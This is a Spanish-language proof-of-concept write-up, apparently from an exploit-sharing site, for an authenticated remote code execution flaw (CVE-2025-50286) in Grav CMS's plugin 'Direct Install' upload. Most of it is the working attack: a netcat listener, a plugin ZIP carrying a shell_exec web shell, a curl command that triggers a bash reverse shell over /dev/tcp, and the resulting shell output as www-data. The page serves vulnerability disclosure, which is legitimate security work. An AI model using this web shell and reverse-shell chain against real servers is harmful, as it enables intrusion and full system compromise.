Grav CMS v1.7.48 / Admin Plugin v1.10.48 - RCE autenticado a través de la subida de plugins (CVE-2025-50286)

Grav CMS v1.7.48 con Admin Plugin v1.10.48 es vulnerable a Ejecución Remota de Código (RCE) a través de la función de subida de plugins "Instalación Directa", permitiendo a administradores autenticados ejecutar código PHP arbitrario en el servidor.

ID de CVE

CVE-2025-50286

Resumen

• Tipo: Ejecución Remota de Código (RCE) autenticada
• Ubicación: /admin/tools/direct-install (Panel de Administración > Herramientas > Instalación Directa)
• Impacto: Ejecución de código PHP arbitrario y posible compromiso total del sistema
• Autenticación requerida: Sí (acceso de administrador)
• Versión afectada: Grav CMS v1.7.48 / Admin Plugin v1.10.48

Prueba de concepto

1. Prepare un listener:

   root@kitploit:~

   nc -lvnp 4444
   

2. Inicie sesión en el Panel de Administración de Grav como administrador.

3. Navegue a Herramientas > Instalación Directa

4. Suba un ZIP de plugin malicioso (evilplugin.zip) estructurado de la siguiente manera:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contiene: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← blueprint mínimo para pasar la validación
   

5. Desencadene la shell reversa:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. Shell reversa recibida:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

Componente afectado

• Endpoint: /admin/tools/direct-install
• Funcionalidad: Subida de plugins y autocarga sin validación

Probado en

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (con Admin Plugin v1.10.48)

Descubridor

@binneko

Referencias

• Grav CMS en GitHub
• Registro CVE - CVE-2025-50286

Aviso legal

Solo con fines educativos y defensivos.